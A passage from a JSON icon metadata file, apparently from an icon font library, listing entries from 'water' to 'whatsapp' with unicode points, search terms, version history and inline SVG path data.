        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M269.5 69.9c11.1-7.9 25.9-7.9 37 0C329 85.4 356.5 96 384 96c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 149.7 417 160 384 160c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4C42.8 92.6 61 83.5 75.3 71.6c11.1-9.5 27.3-10.1 39.2-1.7l0 0C136.7 85.2 165.1 96 192 96c27.5 0 55-10.6 77.5-26.1zm37 288C329 373.4 356.5 384 384 384c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 437.7 417 448 384 448c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.4 27.3-10.1 39.2-1.7l0 0C136.7 373.2 165.1 384 192 384c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0zm0-144C329 229.4 356.5 240 384 240c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 293.7 417 304 384 304c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.5 27.3-10.1 39.2-1.7l0 0C136.7 229.2 165.1 240 192 240c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M269.5 69.9c11.1-7.9 25.9-7.9 37 0C329 85.4 356.5 96 384 96c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 149.7 417 160 384 160c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4C42.8 92.6 61 83.5 75.3 71.6c11.1-9.5 27.3-10.1 39.2-1.7l0 0C136.7 85.2 165.1 96 192 96c27.5 0 55-10.6 77.5-26.1zm37 288C329 373.4 356.5 384 384 384c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 437.7 417 448 384 448c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.4 27.3-10.1 39.2-1.7l0 0C136.7 373.2 165.1 384 192 384c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0zm0-144C329 229.4 356.5 240 384 240c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 293.7 417 304 384 304c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.5 27.3-10.1 39.2-1.7l0 0C136.7 229.2 165.1 240 192 240c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0z"
      }
    },
    "free": ["solid"]
  },
  "water-ladder": {
    "aliases": {
      "names": ["ladder-water", "swimming-pool"],
      "unicodes": {
        "secondary": ["10f5c5"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["ladder", "recreation", "swim", "water"]
    },
    "styles": ["solid"],
    "unicode": "f5c5",
    "label": "Water Ladder",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M128 127.7C128 74.9 170.9 32 223.7 32c48.3 0 89 36 95 83.9l1 8.2c2.2 17.5-10.2 33.5-27.8 35.7s-33.5-10.2-35.7-27.8l-1-8.2c-2-15.9-15.5-27.8-31.5-27.8c-17.5 0-31.7 14.2-31.7 31.7V224H384V127.7C384 74.9 426.9 32 479.7 32c48.3 0 89 36 95 83.9l1 8.2c2.2 17.5-10.2 33.5-27.8 35.7s-33.5-10.2-35.7-27.8l-1-8.2c-2-15.9-15.5-27.8-31.5-27.8c-17.5 0-31.7 14.2-31.7 31.7V361c-1.6 1-3.3 2-4.8 3.1c-18 12.4-40.1 20.3-59.2 20.3h0V288H192v96.5c-19 0-41.2-7.9-59.1-20.3c-1.6-1.1-3.2-2.2-4.9-3.1V127.7zM306.5 389.9C329 405.4 356.5 416 384 416c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 469.7 417 480 384 480c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.4 27.3-10.1 39.2-1.7l0 0C136.7 405.2 165.1 416 192 416c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M128 127.7C128 74.9 170.9 32 223.7 32c48.3 0 89 36 95 83.9l1 8.2c2.2 17.5-10.2 33.5-27.8 35.7s-33.5-10.2-35.7-27.8l-1-8.2c-2-15.9-15.5-27.8-31.5-27.8c-17.5 0-31.7 14.2-31.7 31.7V224H384V127.7C384 74.9 426.9 32 479.7 32c48.3 0 89 36 95 83.9l1 8.2c2.2 17.5-10.2 33.5-27.8 35.7s-33.5-10.2-35.7-27.8l-1-8.2c-2-15.9-15.5-27.8-31.5-27.8c-17.5 0-31.7 14.2-31.7 31.7V361c-1.6 1-3.3 2-4.8 3.1c-18 12.4-40.1 20.3-59.2 20.3h0V288H192v96.5c-19 0-41.2-7.9-59.1-20.3c-1.6-1.1-3.2-2.2-4.9-3.1V127.7zM306.5 389.9C329 405.4 356.5 416 384 416c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 469.7 417 480 384 480c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.4 27.3-10.1 39.2-1.7l0 0C136.7 405.2 165.1 416 192 416c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0z"
      }
    },
    "free": ["solid"]
  },
  "wave-square": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f83e"]
      }
    },
    "changes": ["5.8.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["frequency", "pulse", "signal"]
    },
    "styles": ["solid"],
    "unicode": "f83e",
    "label": "Wave Square",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766677,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M128 64c0-17.7 14.3-32 32-32H320c17.7 0 32 14.3 32 32V416h96V256c0-17.7 14.3-32 32-32H608c17.7 0 32 14.3 32 32s-14.3 32-32 32H512V448c0 17.7-14.3 32-32 32H320c-17.7 0-32-14.3-32-32V96H192V256c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32h96V64z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M128 64c0-17.7 14.3-32 32-32H320c17.7 0 32 14.3 32 32V416h96V256c0-17.7 14.3-32 32-32H608c17.7 0 32 14.3 32 32s-14.3 32-32 32H512V448c0 17.7-14.3 32-32 32H320c-17.7 0-32-14.3-32-32V96H192V256c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32h96V64z"
      }
    },
    "free": ["solid"]
  },
  "waze": {
    "changes": ["5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f83f",
    "label": "Waze",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M502.17 201.67C516.69 287.53 471.23 369.59 389 409.8c13 34.1-12.4 70.2-48.32 70.2a51.68 51.68 0 0 1-51.57-49c-6.44.19-64.2 0-76.33-.64A51.69 51.69 0 0 1 159 479.92c-33.86-1.36-57.95-34.84-47-67.92-37.21-13.11-72.54-34.87-99.62-70.8-13-17.28-.48-41.8 20.84-41.8 46.31 0 32.22-54.17 43.15-110.26C94.8 95.2 193.12 32 288.09 32c102.48 0 197.15 70.67 214.08 169.67zM373.51 388.28c42-19.18 81.33-56.71 96.29-102.14 40.48-123.09-64.15-228-181.71-228-83.45 0-170.32 55.42-186.07 136-9.53 48.91 5 131.35-68.75 131.35C58.21 358.6 91.6 378.11 127 389.54c24.66-21.8 63.87-15.47 79.83 14.34 14.22 1 79.19 1.18 87.9.82a51.69 51.69 0 0 1 78.78-16.42zM205.12 187.13c0-34.74 50.84-34.75 50.84 0s-50.84 34.74-50.84 0zm116.57 0c0-34.74 50.86-34.75 50.86 0s-50.86 34.75-50.86 0zm-122.61 70.69c-3.44-16.94 22.18-22.18 25.62-5.21l.06.28c4.14 21.42 29.85 44 64.12 43.07 35.68-.94 59.25-22.21 64.11-42.77 4.46-16.05 28.6-10.36 25.47 6-5.23 22.18-31.21 62-91.46 62.9-42.55 0-80.88-27.84-87.9-64.25z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M502.17 201.67C516.69 287.53 471.23 369.59 389 409.8c13 34.1-12.4 70.2-48.32 70.2a51.68 51.68 0 0 1-51.57-49c-6.44.19-64.2 0-76.33-.64A51.69 51.69 0 0 1 159 479.92c-33.86-1.36-57.95-34.84-47-67.92-37.21-13.11-72.54-34.87-99.62-70.8-13-17.28-.48-41.8 20.84-41.8 46.31 0 32.22-54.17 43.15-110.26C94.8 95.2 193.12 32 288.09 32c102.48 0 197.15 70.67 214.08 169.67zM373.51 388.28c42-19.18 81.33-56.71 96.29-102.14 40.48-123.09-64.15-228-181.71-228-83.45 0-170.32 55.42-186.07 136-9.53 48.91 5 131.35-68.75 131.35C58.21 358.6 91.6 378.11 127 389.54c24.66-21.8 63.87-15.47 79.83 14.34 14.22 1 79.19 1.18 87.9.82a51.69 51.69 0 0 1 78.78-16.42zM205.12 187.13c0-34.74 50.84-34.75 50.84 0s-50.84 34.74-50.84 0zm116.57 0c0-34.74 50.86-34.75 50.86 0s-50.86 34.75-50.86 0zm-122.61 70.69c-3.44-16.94 22.18-22.18 25.62-5.21l.06.28c4.14 21.42 29.85 44 64.12 43.07 35.68-.94 59.25-22.21 64.11-42.77 4.46-16.05 28.6-10.36 25.47 6-5.23 22.18-31.21 62-91.46 62.9-42.55 0-80.88-27.84-87.9-64.25z"
      }
    },
    "free": ["brands"]
  },
  "weebly": {
    "changes": ["5.1.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f5cc",
    "label": "Weebly",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M425.09 65.83c-39.88 0-73.28 25.73-83.66 64.33-18.16-58.06-65.5-64.33-84.95-64.33-19.78 0-66.8 6.28-85.28 64.33-10.38-38.6-43.45-64.33-83.66-64.33C38.59 65.83 0 99.72 0 143.03c0 28.96 4.18 33.27 77.17 233.48 22.37 60.57 67.77 69.35 92.74 69.35 39.23 0 70.04-19.46 85.93-53.98 15.89 34.83 46.69 54.29 85.93 54.29 24.97 0 70.36-9.1 92.74-69.67 76.55-208.65 77.5-205.58 77.5-227.2.63-48.32-36.01-83.47-86.92-83.47zm26.34 114.81l-65.57 176.44c-7.92 21.49-21.22 37.22-46.24 37.22-23.44 0-37.38-12.41-44.03-33.9l-39.28-117.42h-.95L216.08 360.4c-6.96 21.5-20.9 33.6-44.02 33.6-25.02 0-38.33-15.74-46.24-37.22L60.88 181.55c-5.38-14.83-7.92-23.91-7.92-34.5 0-16.34 15.84-29.36 38.33-29.36 18.69 0 31.99 11.8 36.11 29.05l44.03 139.82h.95l44.66-136.79c6.02-19.67 16.47-32.08 38.96-32.08s32.94 12.11 38.96 32.08l44.66 136.79h.95l44.03-139.82c4.12-17.25 17.42-29.05 36.11-29.05 22.17 0 38.33 13.32 38.33 35.71-.32 7.87-4.12 16.04-7.61 27.24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M425.09 65.83c-39.88 0-73.28 25.73-83.66 64.33-18.16-58.06-65.5-64.33-84.95-64.33-19.78 0-66.8 6.28-85.28 64.33-10.38-38.6-43.45-64.33-83.66-64.33C38.59 65.83 0 99.72 0 143.03c0 28.96 4.18 33.27 77.17 233.48 22.37 60.57 67.77 69.35 92.74 69.35 39.23 0 70.04-19.46 85.93-53.98 15.89 34.83 46.69 54.29 85.93 54.29 24.97 0 70.36-9.1 92.74-69.67 76.55-208.65 77.5-205.58 77.5-227.2.63-48.32-36.01-83.47-86.92-83.47zm26.34 114.81l-65.57 176.44c-7.92 21.49-21.22 37.22-46.24 37.22-23.44 0-37.38-12.41-44.03-33.9l-39.28-117.42h-.95L216.08 360.4c-6.96 21.5-20.9 33.6-44.02 33.6-25.02 0-38.33-15.74-46.24-37.22L60.88 181.55c-5.38-14.83-7.92-23.91-7.92-34.5 0-16.34 15.84-29.36 38.33-29.36 18.69 0 31.99 11.8 36.11 29.05l44.03 139.82h.95l44.66-136.79c6.02-19.67 16.47-32.08 38.96-32.08s32.94 12.11 38.96 32.08l44.66 136.79h.95l44.03-139.82c4.12-17.25 17.42-29.05 36.11-29.05 22.17 0 38.33 13.32 38.33 35.71-.32 7.87-4.12 16.04-7.61 27.24z"
      }
    },
    "free": ["brands"]
  },
  "weibo": {
    "changes": ["3.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f18a",
    "label": "Weibo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M407 177.6c7.6-24-13.4-46.8-37.4-41.7-22 4.8-28.8-28.1-7.1-32.8 50.1-10.9 92.3 37.1 76.5 84.8-6.8 21.2-38.8 10.8-32-10.3zM214.8 446.7C108.5 446.7 0 395.3 0 310.4c0-44.3 28-95.4 76.3-143.7C176 67 279.5 65.8 249.9 161c-4 13.1 12.3 5.7 12.3 6 79.5-33.6 140.5-16.8 114 51.4-3.7 9.4 1.1 10.9 8.3 13.1 135.7 42.3 34.8 215.2-169.7 215.2zm143.7-146.3c-5.4-55.7-78.5-94-163.4-85.7-84.8 8.6-148.8 60.3-143.4 116s78.5 94 163.4 85.7c84.8-8.6 148.8-60.3 143.4-116zM347.9 35.1c-25.9 5.6-16.8 43.7 8.3 38.3 72.3-15.2 134.8 52.8 111.7 124-7.4 24.2 29.1 37 37.4 12 31.9-99.8-55.1-195.9-157.4-174.3zm-78.5 311c-17.1 38.8-66.8 60-109.1 46.3-40.8-13.1-58-53.4-40.3-89.7 17.7-35.4 63.1-55.4 103.4-45.1 42 10.8 63.1 50.2 46 88.5zm-86.3-30c-12.9-5.4-30 .3-38 12.9-8.3 12.9-4.3 28 8.6 34 13.1 6 30.8.3 39.1-12.9 8-13.1 3.7-28.3-9.7-34zm32.6-13.4c-5.1-1.7-11.4.6-14.3 5.4-2.9 5.1-1.4 10.6 3.7 12.9 5.1 2 11.7-.3 14.6-5.4 2.8-5.2 1.1-10.9-4-12.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M407 177.6c7.6-24-13.4-46.8-37.4-41.7-22 4.8-28.8-28.1-7.1-32.8 50.1-10.9 92.3 37.1 76.5 84.8-6.8 21.2-38.8 10.8-32-10.3zM214.8 446.7C108.5 446.7 0 395.3 0 310.4c0-44.3 28-95.4 76.3-143.7C176 67 279.5 65.8 249.9 161c-4 13.1 12.3 5.7 12.3 6 79.5-33.6 140.5-16.8 114 51.4-3.7 9.4 1.1 10.9 8.3 13.1 135.7 42.3 34.8 215.2-169.7 215.2zm143.7-146.3c-5.4-55.7-78.5-94-163.4-85.7-84.8 8.6-148.8 60.3-143.4 116s78.5 94 163.4 85.7c84.8-8.6 148.8-60.3 143.4-116zM347.9 35.1c-25.9 5.6-16.8 43.7 8.3 38.3 72.3-15.2 134.8 52.8 111.7 124-7.4 24.2 29.1 37 37.4 12 31.9-99.8-55.1-195.9-157.4-174.3zm-78.5 311c-17.1 38.8-66.8 60-109.1 46.3-40.8-13.1-58-53.4-40.3-89.7 17.7-35.4 63.1-55.4 103.4-45.1 42 10.8 63.1 50.2 46 88.5zm-86.3-30c-12.9-5.4-30 .3-38 12.9-8.3 12.9-4.3 28 8.6 34 13.1 6 30.8.3 39.1-12.9 8-13.1 3.7-28.3-9.7-34zm32.6-13.4c-5.1-1.7-11.4.6-14.3 5.4-2.9 5.1-1.4 10.6 3.7 12.9 5.1 2 11.7-.3 14.6-5.4 2.8-5.2 1.1-10.9-4-12.9z"
      }
    },
    "free": ["brands"]
  },
  "weight-hanging": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5cd"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["anvil", "heavy", "measurement"]
    },
    "styles": ["solid"],
    "unicode": "f5cd",
    "label": "Weight Hanging",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M224 96a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm122.5 32c3.5-10 5.5-20.8 5.5-32c0-53-43-96-96-96s-96 43-96 96c0 11.2 1.9 22 5.5 32H120c-22 0-41.2 15-46.6 36.4l-72 288c-3.6 14.3-.4 29.5 8.7 41.2S33.2 512 48 512H464c14.8 0 28.7-6.8 37.8-18.5s12.3-26.8 8.7-41.2l-72-288C433.2 143 414 128 392 128H346.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M224 96a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm122.5 32c3.5-10 5.5-20.8 5.5-32c0-53-43-96-96-96s-96 43-96 96c0 11.2 1.9 22 5.5 32H120c-22 0-41.2 15-46.6 36.4l-72 288c-3.6 14.3-.4 29.5 8.7 41.2S33.2 512 48 512H464c14.8 0 28.7-6.8 37.8-18.5s12.3-26.8 8.7-41.2l-72-288C433.2 143 414 128 392 128H346.5z"
      }
    },
    "free": ["solid"]
  },
  "weight-scale": {
    "aliases": {
      "names": ["weight"],
      "unicodes": {
        "secondary": ["10f496"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["health", "measurement", "scale", "weight"]
    },
    "styles": ["solid"],
    "unicode": "f496",
    "label": "Weight Scale",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M128 176a128 128 0 1 1 256 0 128 128 0 1 1 -256 0zM391.8 64C359.5 24.9 310.7 0 256 0S152.5 24.9 120.2 64H64C28.7 64 0 92.7 0 128V448c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H391.8zM296 224c0-10.6-4.1-20.2-10.9-27.4l33.6-78.3c3.5-8.1-.3-17.5-8.4-21s-17.5 .3-21 8.4L255.7 184c-22 .1-39.7 18-39.7 40c0 22.1 17.9 40 40 40s40-17.9 40-40z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M128 176a128 128 0 1 1 256 0 128 128 0 1 1 -256 0zM391.8 64C359.5 24.9 310.7 0 256 0S152.5 24.9 120.2 64H64C28.7 64 0 92.7 0 128V448c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H391.8zM296 224c0-10.6-4.1-20.2-10.9-27.4l33.6-78.3c3.5-8.1-.3-17.5-8.4-21s-17.5 .3-21 8.4L255.7 184c-22 .1-39.7 18-39.7 40c0 22.1 17.9 40 40 40s40-17.9 40-40z"
      }
    },
    "free": ["solid"]
  },
  "weixin": {
    "changes": ["4.1.0", "5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1d7",
    "label": "Weixin (WeChat)",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M385.2 167.6c6.4 0 12.6.3 18.8 1.1C387.4 90.3 303.3 32 207.7 32 100.5 32 13 104.8 13 197.4c0 53.4 29.3 97.5 77.9 131.6l-19.3 58.6 68-34.1c24.4 4.8 43.8 9.7 68.2 9.7 6.2 0 12.1-.3 18.3-.8-4-12.9-6.2-26.6-6.2-40.8-.1-84.9 72.9-154 165.3-154zm-104.5-52.9c14.5 0 24.2 9.7 24.2 24.4 0 14.5-9.7 24.2-24.2 24.2-14.8 0-29.3-9.7-29.3-24.2.1-14.7 14.6-24.4 29.3-24.4zm-136.4 48.6c-14.5 0-29.3-9.7-29.3-24.2 0-14.8 14.8-24.4 29.3-24.4 14.8 0 24.4 9.7 24.4 24.4 0 14.6-9.6 24.2-24.4 24.2zM563 319.4c0-77.9-77.9-141.3-165.4-141.3-92.7 0-165.4 63.4-165.4 141.3S305 460.7 397.6 460.7c19.3 0 38.9-5.1 58.6-9.9l53.4 29.3-14.8-48.6C534 402.1 563 363.2 563 319.4zm-219.1-24.5c-9.7 0-19.3-9.7-19.3-19.6 0-9.7 9.7-19.3 19.3-19.3 14.8 0 24.4 9.7 24.4 19.3 0 10-9.7 19.6-24.4 19.6zm107.1 0c-9.7 0-19.3-9.7-19.3-19.6 0-9.7 9.7-19.3 19.3-19.3 14.5 0 24.4 9.7 24.4 19.3.1 10-9.9 19.6-24.4 19.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M385.2 167.6c6.4 0 12.6.3 18.8 1.1C387.4 90.3 303.3 32 207.7 32 100.5 32 13 104.8 13 197.4c0 53.4 29.3 97.5 77.9 131.6l-19.3 58.6 68-34.1c24.4 4.8 43.8 9.7 68.2 9.7 6.2 0 12.1-.3 18.3-.8-4-12.9-6.2-26.6-6.2-40.8-.1-84.9 72.9-154 165.3-154zm-104.5-52.9c14.5 0 24.2 9.7 24.2 24.4 0 14.5-9.7 24.2-24.2 24.2-14.8 0-29.3-9.7-29.3-24.2.1-14.7 14.6-24.4 29.3-24.4zm-136.4 48.6c-14.5 0-29.3-9.7-29.3-24.2 0-14.8 14.8-24.4 29.3-24.4 14.8 0 24.4 9.7 24.4 24.4 0 14.6-9.6 24.2-24.4 24.2zM563 319.4c0-77.9-77.9-141.3-165.4-141.3-92.7 0-165.4 63.4-165.4 141.3S305 460.7 397.6 460.7c19.3 0 38.9-5.1 58.6-9.9l53.4 29.3-14.8-48.6C534 402.1 563 363.2 563 319.4zm-219.1-24.5c-9.7 0-19.3-9.7-19.3-19.6 0-9.7 9.7-19.3 19.3-19.3 14.8 0 24.4 9.7 24.4 19.3 0 10-9.7 19.6-24.4 19.6zm107.1 0c-9.7 0-19.3-9.7-19.3-19.6 0-9.7 9.7-19.3 19.3-19.3 14.5 0 24.4 9.7 24.4 19.3.1 10-9.9 19.6-24.4 19.6z"
      }
    },
    "free": ["brands"]
  },
  "whatsapp": {
    "changes": ["4.3.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f232",
    "label": "What's App",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M380.9 97.1C339 55.1 283.2 32 223.9 32c-122.4 0-222 99.6-222 222 0 39.1 10.2 77.3 29.6 111L0 480l117.7-30.9c32.4 17.7 68.9 27 106.1 27h.1c122.3 0 224.1-99.6 224.1-222 0-59.3-25.2-115-67.1-157zm-157 341.6c-33.2 0-65.7-8.9-94-25.7l-6.7-4-69.8 18.3L72 359.2l-4.4-7c-18.5-29.4-28.2-63.3-28.2-98.2 0-101.7 82.8-184.5 184.6-184.5 49.3 0 95.6 19.2 130.4 54.1 34.8 34.9 56.2 81.2 56.1 130.5 0 101.8-84.9 184.6-186.6 184.6zm101.2-138.2c-5.5-2.8-32.8-16.2-37.9-18-5.1-1.9-8.8-2.8-12.5 2.8-3.7 5.6-14.3 18-17.6 21.8-3.2 3.7-6.5 4.2-12 1.4-32.6-16.3-54-29.1-75.5-66-5.7-9.8 5.7-9.1 16.3-30.3 1.8-3.7.9-6.9-.5-9.7-1.4-2.8-12.5-30.1-17.1-41.2-4.5-10.8-9.1-9.3-12.5-9.5-3.2-.2-6.9-.2-10.6-.2-3.7 0-9.7 1.4-14.8 6.9-5.1 5.6-19.4 19-19.4 46.3 0 27.3 19.9 53.7 22.6 57.4 2.8 3.7 39.1 59.7 94.8 83.8 35.2 15.2 49 16.5 66.6 13.9 10.7-1.6 32.8-13.4 37.4-26.4 4.6-13 4.6-24.1 3.2-26.4-1.3-2.5-5-3.9-10.5-6.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
